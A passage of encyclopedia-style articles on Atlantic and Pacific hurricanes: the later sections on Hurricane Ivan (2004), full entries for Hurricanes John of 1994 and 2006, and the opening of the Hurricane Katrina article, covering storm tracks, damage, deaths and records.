          In Louisiana, mandatory evacuations of vulnerable areas in Jefferson, Lafourche, Plaquemines, St. Charles, St. James, St. John the Baptist, and Tangipahoa parishes took place, with voluntary evacuations ordered in six other parishes. More than one-third of the population of Greater New Orleans evacuated voluntarily, including more than half of the residents of New Orleans itself. At the height of the evacuation, intense traffic congestion on local highways caused delays of up to 12 hours. About a thousand special-needs patients were housed at the Louisiana Superdome during the storm. Ivan was considered a particular threat to the New Orleans area because dangers of catastrophic flooding. However, Plaquemines and St. Bernard Parishes suffered a moderate amount of wind damage. Hurricane preparedness for New Orleans was judged poor. At one point, the media sparked fears of an "Atlantean" catastrophe if the hurricane were to make a direct strike on the city. These fears were not realized, as the storm's path turned further east. The publicity generated may have contributed to the somewhat more effective evacuation of the city in preparation for Hurricane Katrina a year later, however.


          In Mississippi, evacuation of mobile homes and vulnerable areas took place in Hancock, Jackson, and Harrison counties. In Alabama, evacuation in the areas of Mobile and Baldwin counties south of Interstate 10 was ordered, including a third of the incorporated territory of the City of Mobile, as well as several of its suburbs.


          In Florida, a full evacuation of the Florida Keys began at 7:00 a.m. EDT September 10 but was lifted at 5:00 a.m. EDT September 13 as Ivan tracked further west than originally predicted. Voluntary evacuations were declared in ten counties along the Florida Panhandle, with strong emphasis in the immediate western counties of Escambia, Santa Rosa, and Okaloosa.


          Ivan prompted the evacuation of 270 animals at " The Little Zoo That Could" in Alabama. The evacuation had to be completed within a couple of hours, with only 28 volunteers available to move the animals.


          


          Impact


          
            
              	Deaths from Hurricane Ivan
            


            
              	Country

              	Total

              	Region or State

              	Area

              total

              	Direct

              deaths
            


            
              	Barbados

              	1

              	

              	1
            


            
              	Cayman Islands

              	2

              	

              	1
            


            
              	Dominican Republic

              	4

              	

              	4
            


            
              	Grenada

              	39

              	

              	39
            


            
              	Jamaica

              	17

              	

              	17
            


            
              	Trinidad and Tobago

              	1

              	Tobago

              	1

              	1
            


            
              	USA

              	54

              	Alabama

              	5

              	0
            


            
              	Connecticut

              	1

              	0
            


            
              	Florida

              	19

              	14
            


            
              	Georgia

              	4

              	2
            


            
              	Louisiana

              	4

              	0
            


            
              	Maryland

              	1

              	0
            


            
              	Mississippi

              	3

              	1
            


            
              	North Carolina

              	10

              	8
            


            
              	Pennsylvania

              	6

              	0
            


            
              	Tennessee

              	1

              	0
            


            
              	Venezuela

              	3

              	

              	3
            


            
              	Totals

              	121

              	

              	91
            


            
              	Because of differing sources, totals may not match.
            


            
              	Sources:
            

          


          Ivan killed 64 people in the Caribbeanmainly in Grenada and Jamaicathree in Venezuela, and 25 in the United States, including fourteen in Florida. Thirty-two more deaths in the United States were indirectly attributed to Ivan. Tornadoes spawned by Ivan struck communities along concentric arcs on the leading edge of the storm. In Florida, Blountstown, Marianna, and Panama City Beach suffered three of the most devastating tornadoes. A Panama City Beach news station was nearly hit by an F2 tornado during the storm. Ivan also caused over US$13 billion in damages in the United States and US$3 billion in the Caribbean (2004 USD).


          


          Southeastern Caribbean and Venezuela
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              Aftermath of Hurricane Ivan in Grenada
            

          


          Ivan passed directly over Grenada on September 7, 2004, killing 39 people. The capital, St. George's, was severely damaged and several notable buildings were destroyed, including the residence of the prime minister. Ivan also caused extensive damage to a local prison, allowing most of the inmates to escape. The island, in the words of a Caribbean disaster official, suffered "total devastation." According to a member of the Grenadian parliament, at least 85% of the small island was devastated. Extensive looting was reported. In all, damage on the island totaled US$815 million (2004 USD).


          Elsewhere in the Caribbean, a pregnant woman was killed in Tobago when a tree fell on top of her home, and a 75-year-old Canadian woman drowned in Barbados. Three deaths were reported in Venezuela. Over one-hundred fifty homes on Barbados and around 60 homes in St. Vincent and the Grenadines were also reportedly damaged.


          


          Jamaica


          On September 11 and September 12, the centre of Ivan passed near Jamaica, causing significant wind and flood damage. Looters were reported roaming the streets of Jamaica's capital city, Kingston (which appeared deserted), robbing emergency workers at gunpoint. Overall, 17 people were killed in Jamaica and 18,000 people were left homeless as a result of the flood waters and high winds. Most of the major resorts and hotels fared well, though, and were reopened only a few days after Ivan had passed. Damage on Jamaica totaled US$360 million (2004 USD).


          


          Cayman Islands


          
            [image: Ivan damage in the Cayman Islands.]

            
              Ivan damage in the Cayman Islands.
            

          


          In the Cayman Islands, Governor Bruce Dinwiddy described damage as "very, very severe and widespread." A quarter or more of the buildings on the islands were reported to be uninhabitable, with 85% damaged to some extent. Much of Grand Cayman still remained without power, water, or sewer services for several months later. After five months, barely half the pre-Ivan hotel rooms were usable. Only two people were killed on the islands, though at first many deaths were suspected due to the many graves that were washed up during the storm. The damage totaled US$1.85 billion (2004 USD) in the Cayman Islands. 


          Rest of the Caribbean


          There were four deaths in the Dominican Republic. The region's Caribbean Development Bank estimates Ivan caused over US$3 billion (2004 USD) damage on island nations, mostly in the Cayman Islands, Grenada, and Jamaica. Minor damage, including some beach erosion, was reported in the ABC islands.


          Even though Ivan did not make landfall on Cuban soil, its storm surge caused localized flooding on Santiago de Cuba and Granma, on the southern part of the island. At Cienfuegos, the storm produced waves of 15feet (4.6m), and Pinar del Ro recorded 339millimetres (13.3in) of rainfall. While there were no casualties on the island, the Cuban government estimates that about US$1.2 billion (2004 USD) of property damage were directly due to Ivan.


          


          United States
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              Hurricane Ivan sank and stacked numerous boats at Bayou Grande Marina at NAS Pensacola.
            

          


          Along with the 14 deaths in Florida, Ivan is blamed for eight deaths in North Carolina, two in Georgia, and one in Mississippi. An additional 32 deaths were reported as indirectly caused by the storm.


          Ivan caused an estimated US$13 billion (2004 USD) in damage in the United States alone, making it the third costliest hurricane on record at the time, being very near Hurricane Charley's US$14 billion but well below Hurricane Andrew's US$26 billion. Ivan displaced Hurricane Hugo, which had previously held the third spot. In 2005, Hurricane Katrina caused US$81 billion in damage, displacing Ivan to fourth place, and Hurricane Wilma caused US$20 billion in damage, displacing Ivan again to fifth place.


          
            
              Costliest U.S. Atlantic hurricanes

              Cost refers to total estimated property damage.
            

            
              	Rank

              	Hurricane

              	Season

              	Cost (2005 USD)
            


            
              	1

              	Katrina

              	2005

              	$81.2 billion
            


            
              	2

              	Andrew

              	1992

              	$44.9 billion
            


            
              	3

              	Wilma

              	2005

              	$20.6 billion
            


            
              	4

              	Charley

              	2004

              	$15.4 billion
            


            
              	5

              	Ivan

              	2004

              	$14.6 billion
            


            
              	Main article: List of Atlantic hurricanes
            

          


          


          Florida


          Heavy damage as Ivan made landfall on the U.S. coastline was observed in Pensacola, Pensacola Beach, dwellings situated far inland along the shorelines of Escambia Bay, East Bay, and Blackwater Bay in Escambia County and Santa Rosa County, and Fort Walton Beach, Florida on the eastern side of the storm. The area just west of Pensacola, including the community of Warrington (which includes Pensacola NAS), Perdido Key, and Southwest Escambia County, took the brunt of the storm. Some of the subdivisions in this part of the county were completely destroyed, with a few key roads in the Perdido area only opened in late 2005, over a year after the storm hit. Shattered windows from gusts and flying projectiles experienced throughout the night of the storm were common. As of December 2007, roads remained closed on Pensacola Beach due to damage from Ivan's storm surge.
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              Damage to I-10 causeway over Escambia Bay near Pensacola
            

          


          In Pensacola, the Interstate 10 bridge across Escambia Bay was heavily damaged, with as much as a 0.25miles (400m) of the bridge collapsing into the bay. The causeway that carries U.S. Highway 90 across the northern part of the same bay was also heavily damaged. Virtually all of Perdido Key, an area on the outskirts of Pensacola that bore the brunt of Ivan's winds and rain, was essentially leveled. High surf and wind brought extensive damage to Innerarity Point.


          On September 26, 2006, over two years after Ivan struck the region, funding for the last 501 FEMA-provided trailers ran out for those living in Santa Rosa and Escambia counties.


          


          Alabama


          The city of Demopolis, over 100miles (160km) inland in west-central Alabama, endured wind gusts estimated at 90mph (140km/h), while Montgomery saw wind gusts in the 60mph (97km/h) to 70mph (110km/h) range at the height of the storm.


          The heaviest damage as Ivan made landfall on the U.S. coastline was observed in Baldwin County in Alabama, where the storm's eye (and eyewall) made landfall. High surf and wind brought extensive damage to Orange Beach near the border with Florida. There, two five-story condominium buildings were undermined to the point of collapse by Ivan's storm surge of 14feet (4.3m). Both were made of steel-reinforced concrete. Debris gathered in piles along the storm tide, exaserbating the damage when the floodwaters crashed into homes sitting on pilings. Brewton, a community about 50miles (80km) inland, also suffered severe damage.


          In addition to the damage to the southern portions of the state, there was extensive damage to the state's electrical grid. At the height of the outages, Alabama Power reported 489,000 subscribers had lost electrical powerroughly half of its subscriber base.
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              Ivan Rainfall in the United States
            

          


          


          Rest of the United States


          Further inland, Ivan caused major flooding, bringing the Chattahoochee River near Atlanta and many other rivers and streams to levels at or near 100-year records. The Delaware River and its tributaries crested just below their all-time records set by Hurricane Diane in 1955.


          In Western North Carolina, many streams and rivers reached well above flood stage in an area that was heavily flood damaged just a week and a half before from the remnants of Hurricane Frances, causing many roads to be closed. The Blue Ridge Parkway as well as Interstate 40 through the Pigeon River gorge in Haywood County, North Carolina, sustained major damage, and landslides were common across the mountains. As a result of the rain, a major debris flow of mud, rocks, trees, and water surged down Peek's Creek, near Franklin, North Carolina, sweeping away 15 houses and killing five people.


          The system also spawned deadly tornadoes as far north as Maryland and destroyed seven oil platforms in the Gulf of Mexico while at sea. While crossing over the Mid-Atlantic states, Ivan's remnants spawned 117 tornadoes across the eastern United States, with the 40 tornadoes spawned in Virginia on September 17 setting a daily record for the commonwealth. Ivan then moved into the Wheeling, West Virginia and Pittsburgh area, causing major flooding. Pittsburgh International Airport recorded the highest 24-hour rainfall for Pittsburgh, recording 5.95inches (151mm) of rain. Ivan's rain caused widespread flooding. The Juniata River basin was flooded, and the Frankstown Branch crested at its highest level ever. After Ivan regenerated in the Gulf of Mexico, it caused further heavy rainfall up to 8inches (200mm) in areas of Louisiana and Texas.


          


          Canada


          On the morning of September 21, the remnant mid-level circulation of Ivan combined with a frontal system. This produced a plume of moisture over the Canadian Maritimes for four days, producing heavy rainfall totaling 6.2inches (160mm) in Gander, Newfoundland. High winds of up to 89mph (143km/h) downed trees and caused power outages in Newfoundland, Prince Edward Island, and eastern Nova Scotia. The system produced intense waves of up to 50feet (15m) near Cape Bonavista. The system killed two when it grounded a fishing vessel and was indirectly responsible for four traffic fatalities in Newfoundland.


          


          Aftermath


          


          Grenada


          Grenada suffered serious economic repercussions following the destruction caused by Ivan. Before Ivan, the economy of Grenada was projected to grow by 4.7%, but the island's economy instead contracted by nearly 3% in 2004. The economy was also projected to grow by at least 5% through 2007, but, as of 2005, that estimate had been lowered to less than 1%. The government of Grenada also admitted that government debt, 130% of the island's GDP, was "unsustainable" in October 2004 and appointed a group of professional debt advisors in January 2005 to help seek a cooperative restructuring agreement with creditors.


          More than US$150 million was sent to Grenada in 2004 to aid reconstruction following Ivan, but the economic situation remains fragile. The International Monetary Fund reports that as "difficult enough as the present fiscal situation is, it is unfortunately quite easy to envisage circumstances that would make it even more so." Furthermore, "shortfalls in donor financing and tax revenues, or events such as a further rise in global oil prices, pose a grave risk."


          


          United States


          Ivan is suspected of bringing spores of soybean rust from Venezuela into the United States, the first ever occurrences of soybean rust found in North America. Since the Florida soybean crop had already been mostly harvested, economic damage was limited. Some of the most severe outbreaks in South America have been known to reduce soybean crop yields by half or more.


          


          Retirement


          This storm also marked the third occasion the name "Ivan" had been used to name a tropical cyclone in the Atlantic, as well as the fourth of five occurrences worldwide. The name Ivan was retired in the spring of 2005 by the World Meteorological Organization and will never again be used in the Atlantic basin. It was replaced by Igor for the 2010 season.


          


          Hydrological records


          Ivan broke several hydrological records; it is credited with possibly causing the largest ocean wave ever recorded, a 91foot (27meter) wave that may have been as high as 131ft (40m), and the fastest seafloor current, at 2.25 m/s (5mph).
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              Hurricane John
            

            
              	Category 5hurricane( SSHS)
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                Hurricane John near peak intensity.
                

              
            


            
              	Formed

              	August 11, 1994
            


            
              	Dissipated

              	September 10, 1994
            


            
              	Highest

              winds

              	
                
                  
                    	175 mph (280 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	 929 mbar ( hPa; 27.44 inHg)
            


            
              	Fatalities

              	0
            


            
              	Damage

              	$15million (1994USD)

              $22million (2008USD)
            


            
              	Areas

              affected

              	Hawaii, Johnston Atoll
            


            
              	Part of the

              1994 Pacific hurricane season

              1994 Pacific typhoon season
            

          


          Hurricane John (also Typhoon John) formed during the 1994 Pacific hurricane season and became both the longest-lasting and second-farthest-traveling tropical cyclone ever observed. John formed during the strong El Nio of 1991 to 1994 and peaked as a Category 5 hurricane on the Saffir-Simpson Hurricane Scale, the highest categorization for hurricanes.


          Over the course of its existence, it followed an 8,000 mile (13,000 km) path from the eastern Pacific to the western Pacific and back to the central Pacific, lasting 31 days in total. Because it existed in both the eastern and western Pacific, John was one of a small number of tropical cyclones to be designated as both a hurricane and a typhoon. Despite lasting for a full month, John barely affected land at all, bringing only minimal effects to the Hawaiian islands and a United States military base on Johnston Atoll.


          


          Storm history
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              Storm path
            

          


          The United States' National Hurricane Centre (NHC) later identified the precursor to Hurricane John as a tropical wave that moved off the coast of Africa on July 25, 1994. The environment in the Atlantic Ocean was hostile to tropical development, so the wave continued without developing until reaching the Eastern Pacific on August 8. It slowly organized, and on August 11 was recognized as Tropical Depression Ten-E 300nautical miles (560km) south-southeast of Acapulco, Mexico. Conditions were not ideal for development, but it quickly developed banding features and well-defined outflow, and was upgraded to a tropical storm and named Tropical Storm John later that day.


          A strong ridge of high pressure over the Northeastern Pacific Ocean forced John westward, where upper level wind shear kept John a tropical storm. Intensity fluctuated considerably, however, as shear levels varied. More than once, shear cleared away most of the clouds above John and nearly caused it to weaken to a tropical depression. However, after eight days of slow westward movement across the Pacific Ocean, shear lessened greatly on August 19, and John intensified significantly and was designated as a hurricane at 1700 PDT. During an eighteen-hour period between August 19 and August 20, John further strengthened from a weak Category 1 hurricane to a major Category 3 hurricane. Around 1100 PDT on August 20, it crossed into the central Pacific, the first of three basin crosses John would make.


          After entering the central Pacific, John left the area monitored by the NHC and was instead monitored by the Central Pacific Hurricane Centre (CPHC). As it moved slowly westward, Hurricane John continued to strengthen considerably in an increasingly favorable environment well south of the Hawaiian Islands; on 22 August John was designated a Category 5 hurricane on the Saffir-Simpson Hurricane Scale (the highest classification for hurricanes) and later that day (by Hawaii Standard Time) reached its peak winds of 175 miles per hour (280km/h). Also on August 22 (by Hawaii Standard Time), John made its closest approach to the Hawaiian Islands, 345miles (500km) to the south. John had threatened to turn north and affect the islands days before, but the ridge of high pressure that typically shields the islands from hurricanes kept John on its southerly path. Nonetheless, heavy rains and wind from the outer bands of John impacted the islands.


          With the Hawaiian islands behind it, John began a slow turn to the north, taking near-direct aim at Johnston Atoll, a small group of islands populated only by a United States military base. The storm slowly weakened from its peak as a Category 5 hurricane in the face of increasing shear, dropping down to a Category 1 hurricane with 90miles per hour (145km/h) maximum winds. On August 25 local time, John made its closest approach to the Johnston Atoll only 15miles (24km) to the north. On Johnston Atoll, sustained winds were reported up to 60miles per hour (95km/h), the equivalent of a strong tropical storm, and gusts up to 75miles per hour (120km/h) were recorded.
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              Hurricane John at its tertiary peak strength in the far north-central Pacific Ocean
            

          


          Clearing Johnston Atoll, John turned to the northwest and began strengthening again as shear decreased. On August 27 local time, John reached a secondary peak strength of 135miles per hour (210km/h), and shortly thereafter it crossed the International Date Line at approximately 22 N and came under the surveillance of the Guam branch of the Joint Typhoon Warning Centre (JTWC). By crossing into the western Pacific, John also became a typhoon and was referred to as Typhoon John during its time in the western Pacific. Immediately after crossing the Date Line, John again weakened and its forward motion stalled. By September 1, John had weakened to a tropical storm and was nearly motionless just west of the Date Line. There, John lingered for six days while performing a multi-day counterclockwise loop. On September 7, a trough moved into the area and quickly moved John to the northeast. John crossed the Date Line again on September 8 and reentered the central Pacific.


          After reentering the central Pacific, John briefly reached a tertiary peak strength of 90miles per hour (145km/h), a strong Category 1 hurricane, well to the north of Midway Island. However, the trough was rapidly pulling apart John's structure, and the cold waters of the northern central Pacific were not conducive to a tropical cyclone. On September 10, the 120th advisory was released on the system, finally declaring John to have become extratropical approximately 1000miles (1600km) south of Unalaska Island.


          


          Forecasting difficulties


          During John's time in Western North Pacific, the Joint Typhoon Warning Centre (JTWC) had particular difficulty in forecasting and even estimating the strength of John. John weakened considerably after entering the Western North Pacific, and, before estimates were later revised, four consecutive advisories were issued that declared John a tropical depression. Each of these advisories called for imminent dissipation. As John persisted and did not dissipate as the JTWC had predicted, it was upgraded to a minimal tropical storm in the next advisory. At the same time, however, two separate ship reports indicated that John had sustained winds of at least 55 knots (100km/h, 65mph), far stronger than the advisory strength of 35knots (65km/h, 40mph). John would go on to restrengthen into a strong Category 1 hurricane after reentering the Central North Pacific, defying all JTWC predictions. After later reanalysis, the JTWC raised the estimated wind speeds of John for every advisory from 1200 UTC September 1 to its final advisory exactly a week later by at least 5knots (9km/h, 6mph) and as much as 25knots (46km/h, 29mph).


          


          Records


          
            
              Category 5 Pacific hurricanes
            

            
              	Name

              	Season

              	Name

              	Season
            


            
              	Patsy

              	1959

              	"Mexico"

              	1959
            


            
              	Ava

              	1973

              	Emilia

              	1994
            


            
              	Gilma

              	1994

              	John

              	1994
            


            
              	Guillermo

              	1997

              	Linda

              	1997
            


            
              	Elida

              	2002

              	Hernan

              	2002
            


            
              	Kenna

              	2002

              	Ioke

              	2006
            


            
              	Main article: List of Category 5 Pacific hurricanes
            

          


          Its 31-day existence made John the longest-lasting tropical cyclone recorded in both the Pacific Ocean and worldwide, surpassing both Hurricane Tina's previous record in the Pacific of 24 days in the 1992 season and Hurricane San Ciriaco's previous world record of 28 days in the 1899 Atlantic season. In addition, despite its slow movement throughout much of its path, John was the second-farthest-traveling tropical cyclone worldwide and the farthest-traveling in the eastern Pacific, out-distancing previous record holder Hurricane Fico. John's travel distance of 8,000 miles (13,000km) was farther than that of any tropical cyclone save Super Typhoon Ophelia of the 1960 Pacific typhoon season.


          Pressure readings from John's peak are not consistently available as the CPHC did not monitor pressures at the time, but Air Force Reserve aircraft did measure a surface pressure of 929 mbar ( hPa), making John one of the most intense hurricanes recorded in the central Pacific; Hurricane Gilma recorded a lower pressure in the central Pacific earlier in the 1994 season, but with lower wind speeds. (Intensity is measured by minimum central pressure, which correlates with but is not directly linked to wind speeds.) John was also only the third Category 5 hurricane recorded in the central Pacific (the first was Hurricane Patsy in 1959 and the second, Hurricane Gilma earlier in 1994), and possessed the highest recorded wind speed in a central Pacific hurricane, 175miles per hour (280km/h). Since 1994, only one Category 5 hurricane, Hurricane Ioke, has formed in or entered into the Central Pacific; Ioke, like Gilma, had a lower central pressure but lower wind speeds than John.


          Additionally, John was only the third tropical cyclone to enter the central Pacific from the western Pacific. Tropical Storms Carmen and Skip in 1980 and 1985, respectively, had done so previously.


          


          Impact


          John impacted both the Hawaiian Islands and Johnston Atoll, but only lightly. While John passed over 345miles (550km) to the south of Hawaii, the islands did experience strengthened trade winds and rough surf along the southeast- and south-facing shores, and, as John moved westward, on west-facing shores as well. The waves, ranging from 6 to 10feet (3.0m) in height, flooded beach parks in Kailua-Kona. Additionally, heavy rains on the Big Island of Hawaii caused minor, localized flooding and some short-term road closings. No deaths, injuries or significant damages were reported in Hawaii.


          Although John passed within 15miles (25km) of Johnston Atoll, it had weakened greatly to a Category 1 system by closest approach. Additionally, in the Northern Hemisphere, the strongest winds and heaviest rain lie to the north of a tropical cyclone, so the atoll, which lay to the south of the storm's path, was spared the brunt of the storm. Nonetheless, the 1,100-man personnel for the United States military base on Johnston Island had been evacuated to Honolulu as a precaution while John approached. Damages to structures were considerable, but the size of the island and relative functionality of the base led to low damages; damages were estimated at close to $15 million (1994 USD).


          Despite John's record-setting endurance, the name John was not retired following the storm due to low damages.
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        Hurricane John (2006)


        
          

          
            
              Hurricane John
            

            
              	Category 4hurricane( SSHS)
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                Hurricane John on August 31
                

              
            


            
              	Formed

              	August 28, 2006
            


            
              	Dissipated

              	September 4, 2006
            


            
              	Highest

              winds

              	
                
                  
                    	135 mph (215 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	948 mbar ( hPa; 28.01 inHg)
            


            
              	Fatalities

              	6 direct
            


            
              	Damage

              	$60.9million (2006USD)

              $65million (2008USD)
            


            
              	Areas

              affected

              	Guerrero, Michoacn, Baja California Sur, Arizona, California, New Mexico, Texas
            


            
              	Part of the

              2006 Pacific hurricane season
            

          


          Hurricane John was the eleventh named storm, seventh hurricane, and fifth major hurricane of the 2006 Pacific hurricane season. Hurricane John developed on August 28 from a tropical wave to the south of Mexico. Favorable conditions allowed the storm to intensify quickly, and it attained peak winds of 135mph (215km/h) on August 30. Eyewall replacement cycles and land interaction with western Mexico weakened the hurricane, and John made landfall on southeastern Baja California Sur with winds of 110mph (180km/h) on September 1. It slowly weakened as it moved northwestward through the Baja California peninsula, and dissipated on September 4. Moisture from the remnants of the storm entered the southwest United States.


          The hurricane threatened large portions of the western coastline of Mexico, resulting in the evacuation of tens of thousands of people. In coastal portions of western Mexico, strong winds downed trees, while heavy rain resulted in mudslides. Hurricane John caused moderate damage on the Baja California peninsula, including the destruction of more than 200houses and thousands of flimsy shacks. The hurricane killed six people in Mexico, and damage totaled $663million (2006 MXN, $60.8million 2006USD). In the southwest United States, moisture from the remnants of John produced heavy rainfall. The rainfall aided drought conditions in portions of northern Texas, although it was detrimental in locations that had received above-normal rainfall throughout the year.


          


          Storm history
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          The tropical wave that would become John moved off the coast of Africa on August 17. It entered the eastern Pacific Ocean on August 24, and quickly showed signs of organization. That night, Dvorak classifications began on the system while it was located just west of Costa Rica, and it moved west-northwestward at 1015mph (1525km/h). Conditions appeared favorable for further development, and convection increased late on August 26 over the area of low pressure. Early on August 27, the system became much better organized about 250miles (400km) south-southwest of Guatemala, although convection remained minimal. Early on August 28, banding increased within its organizing convection, and the system developed into Tropical Depression Eleven-E.


          Due to low amounts of vertical shear, very warm waters, and abundant moisture, steady intensification was forecast, and the depression strengthened to Tropical Storm John later on August 28. Deep convection continued to develop over the storm, while an eye feature developed within the expanding central dense overcast. The storm continued to intensify, and John attained hurricane status on August 29 while 190miles (305km) south-southeast of Acapulco. Banding features continued to increase as the hurricane moved west-northwestward around the southwest periphery of a mid- to upper-level ridge over northern Mexico. The hurricane underwent rapid intensification, and John attained major hurricane status 12hours after becoming a hurricane. Shortly thereafter, the eye became obscured, and the intensity remained at 115mph (185km/h) due to an eyewall replacement cycle. Another eye formed, and based on Reconnaissance data, the hurricane attained Category4 status on the Saffir-Simpson Hurricane Scale on August 30 about 160miles (260km) west of Acapulco, or 95miles (155km) south of Lzaro Crdenas, Michoacn. Hours later, the hurricane underwent another eyewall replacement cycle, and subsequently weakened to Category3 status as it paralleled the Mexican coastline a short distance offshore.
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          Due to land interaction and its eyewall replacement cycle, Hurricane John weakened to a 105mph (170km/h) hurricane by late on August 31, but restrengthened to a major hurricane shortly after as its eye became better defined. After completing another eyewall replacement cycle, the hurricane again weakened to Category2 status, and on September 1 it made landfall on Cabo del Este on the southern tip of Baja California Sur with winds of 110mph (180km/h). John passed near La Paz as a weakening Category1 hurricane on September 2, and weakened to a tropical storm shortly thereafter over land. John continued to weaken, and late on September 3 the system deteriorated to a tropical depression while still over land. By September 4, most of the convection decoupled from the circulation towards mainland Mexico, and a clear circulation had not been discernible for 24hours. Based on the disorganization of the system, the National Hurricane Centre issued its last advisory on the system.


          


          Preparations


          The Mexican army and emergency services were stationed near the coast, while classes at public schools in and around Acapulco were canceled. Officials in Acapulco advised residents in low-lying areas to be on alert, and also urged fishermen to return to harbour. Authorities in the twin resort cities of Ixtapa and Zihuatanejo closed the port to small ocean craft. Government officials in the state of Jalisco declared a mandatory evacuation for 8,000citizens in low-lying areas to 900temporary shelters. Temporary shelters were also set up near Acapulco. The state of Michoacn was on a yellow alert, the middle of a five-level alert system. Carnival Cruise Lines diverted the path of one cruise ship traveling along the Pacific waters off Mexico.


          On August 31, the Baja California Sur state government ordered the evacuation of more than 10,000residents. Those who refused to follow the evacuation order would have been forced to evacuate by the army. Shelters were set up to allow local residents and tourists to ride out the storm. Just weeks after a major flood in the area, officials evacuated hundreds of citizens in Las Presas in northern Mexico area near a dam. All public schools in the area were closed, as well.


          The United States' National Weather Service issued flood watches and warnings for portions of Texas and the southern two-thirds of New Mexico.


          


          Impact


          


          Mexico


          


          The powerful winds of Hurricane John produced heavy surf and downed trees near Acapulco. The hurricane produced a 10foot (3m) storm surge in Acapulco that flooded coastal roads. In addition, John caused heavy rainfall along the western coast of Mexico, peaking at 12.5inches (317.5mm) in Los Planes, Jalisco. The rainfall resulted in mudslides in the Costa Chica region of Guerrero, leaving around 70communities isolated.


          In La Paz, capital of Baja California Sur, the hurricane downed 40power poles. Authorities cut off the power supply to the city to prevent electrocutions from downed wires. Strong winds downed trees and destroyed many advertisement signs. Heavy rainfall totaling more than 20inches (500mm) in isolated areas resulted in ankle-deep flooding, closing many roads in addition to the airport in La Paz. In La Paz, 300families received damage to their homes, with another 200families left homeless after their houses were destroyed. The combination of winds and rain destroyed thousands of flimsy houses across the region. The rainfall also destroyed large areas of crops, and also killed many livestock. The rainfall caused the Iguagil dam in Comond to overflow, isolating 15towns due to 4feet (1.5m) floodwaters. In the coastal city of Muleg, flash flooding caused widespread damage throughout the town and the death of a United States citizen. More than 250homes were damaged or destroyed in the town, leaving many people homeless. Severe flooding blocked portions of Federal Highway 1, and also caused damage to an aqueduct in the region.


          In all, Hurricane John destroyed hundreds of houses and blew off the roofs of 160houses on the Baja California peninsula. Six people were killed, and damage in Mexico amounted to $663million (2006 MXN, $60.8million 2006USD).


          In Ciudad Jurez, Chihuahua, across the U.S. border from El Paso, Texas, rainfall from the storm's remnants flooded 20neighborhoods, downed power lines, and resulted in several traffic accidents. Rainfall from John, combined with continual precipitation during the two weeks before the storm, left thousands of people homeless.


          


          United States
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          Moisture from the remnants of John combined with an approaching cold front to produce moderate amounts of rainfall across the southwest United States, including a total of 8inches (200mm) in Whitharral and more than 3inches (75mm) in El Paso, Texas. The rainfall flooded many roads in southwestern Texas, including a mile (800m) portion of Interstate 10 in El Paso. A slick runway at El Paso International Airport delayed a Continental Airlines jet when its tires were stuck in mud. Rainfall from John in El Paso, combined with an unusually wet year, resulted in twice the normal annual rainfall, and caused 2006 to be the ninth wettest year on record by September. Damage totaled about $100,000 (2006USD) in the El Paso area from the precipitation. In northern Texas, the rainfall alleviated a severe drought, and also caused Lake Alan Henry to overflow. The Texas Department of Transportation closed numerous roads due to flooding from the precipitation, including a portion of U.S. Route 385 near Levelland. Several of the roads were washed out.


          Moisture derived from John also produced rainfall across southern New Mexico, peaking at 5.25inches (133mm) at Ruidoso. The rainfall overflowed rivers, forcing people to evacuate along the Rio Ruidoso. The rainfall also caused isolated road flooding. Rainfall in New Mexico canceled an annual wine festival in Las Cruces and caused muddy conditions at the All American Futurity at the Ruidoso Downs, the biggest day of horse racing in New Mexico. Flooding was severe in Mesquite, Hatch, and Rincon, where many homes experienced 4feet (1.5m) of flooding and mud. Some homeowners lost all they owned. Tropical moisture from the storm also produced rainfall in Arizona and southern California. In California, the rainfall produced eight separate mudslides, trapping 19vehicles but causing no injuries.


          


          Aftermath


          Branches of the Mexican Red Cross in Guerrero, Oaxaca and Michoacn were put on alert. The organization's national emergency response team was on stand-by to assist the most affected areas. Navy helicopters delivered food and water to remote areas of the Baja California peninsula. The Mexican Red Cross dispatched 2,000food parcels to the southern tip of Baja California Sur. In the city of Muleg, gas supply, which was necessary to run generators, was low, drinking water was gone, and the airstrip was covered with mud. Many homeless residents initially stayed with friends or in government-run shelters. Throughout the Baja California peninsula, thousands remained without water or electricity by two days after the storm, although a pilot from Phoenix prepared to fly to the disaster area with 100gallons (380litres) of water. Other pilots were expected to execute similar flights, as well. The office of Baja California Sur Tourism stated that minimal damage occurred to the tourism infrastructure, with only minimal delays to airports, roads, and maritime facilities. The Episcopal Relief and Development delivered food, clothing, medicine, and transportation to about 100families, and gave mattresses to about 80families.


          Many residents in Tucson, including more than 50students, delivered supplies to flood victims in New Mexico, including clothing and other donations.


          Despite the damage, the name was not retired; as such, its name is scheduled to be reused in the 2012 season.
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                    	175 mph (280 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	902 mbar ( hPa; 26.65 inHg)
            


            
              	Fatalities

              	1,836 confirmed, 705 missing
            


            
              	Damage

              	$81.2billion (2005USD)

              $89.6billion (2008USD)

              (Costliest Atlantic hurricane in history)
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              	Bahamas, South Florida, Cuba, Louisiana (especially Greater New Orleans), Mississippi, Alabama, Florida Panhandle, most of eastern North America
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          Hurricane Katrina was the costliest and one of the five deadliest hurricanes in the history of the United States. It was the sixth-strongest Atlantic hurricane ever recorded and the third-strongest hurricane on record that made landfall in the United States. Katrina formed on August 23 during the 2005 Atlantic hurricane season and caused devastation along much of the north-central Gulf Coast. The most severe loss of life and property damage occurred in New Orleans, Louisiana, which flooded as the levee system catastrophically failed, in many cases hours after the storm had moved inland. The hurricane caused severe destruction across the entire Mississippi coast and into Alabama, as far as 100miles (160km) from the storm's centre. In the 2005 Atlantic season, Katrina was the eleventh tropical storm, fifth hurricane, third major hurricane, and second Category 5 hurricane.


          It formed over the Bahamas on August 23, 2005, and crossed southern Florida as a moderate Category 1 hurricane, causing some deaths and flooding there, before strengthening rapidly in the Gulf of Mexico and becoming one of the strongest hurricanes on record while at sea. The storm weakened before making its second and third landfalls as a Category 3 storm on the morning of August 29 in southeast Louisiana and at the Louisiana/Mississippi state line, respectively.


          The storm surge caused severe damage along the Gulf Coast, devastating the Mississippi cities of Waveland, Bay St. Louis, Pass Christian, Long Beach, Gulfport, Biloxi, D'Iberville, Ocean Springs, Gautier, Moss Point, and Pascagoula. In Louisiana, the federal flood protection system in New Orleans failed in more than fifty places. Nearly every levee in metro New Orleans breached as Hurricane Katrina passed east of the city, subsequently flooding 80% of the city and many areas of neighboring parishes for weeks.


